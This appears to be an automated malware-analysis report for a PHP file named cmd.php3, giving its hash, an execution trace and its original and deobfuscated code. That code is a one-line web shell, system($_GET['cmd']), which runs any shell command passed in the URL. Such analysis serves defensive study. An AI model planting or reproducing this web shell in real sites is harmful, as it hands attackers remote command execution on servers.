PHP Malware Analysis

cmd.php3

md5: 0d3c6b4639eef86c0879f2b1bb558663

Jump to:

Screenshot


Attributes

Execution

Input


Deobfuscated PHP code

<?php

system($_GET['cmd']);

Execution traces

data/traces/0d3c6b4639eef86c0879f2b1bb558663_trace-1676255829.5119.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:37:35.409722]
1	0	1	0.000139	393512
1	3	0	0.000184	393896	{main}	1		/var/www/html/uploads/cmd.php3	0	0
2	4	0	0.000215	393896	system	0		/var/www/html/uploads/cmd.php3	2	1	NULL
2	4	1	0.000239	393928
2	4	R			FALSE
1	3	1	0.000252	393896
			0.000275	314224
TRACE END   [2023-02-13 00:37:35.409884]


Generated HTML code

<html><head></head><body></body></html>

Original PHP code

<?php
  system($_GET['cmd']);
?>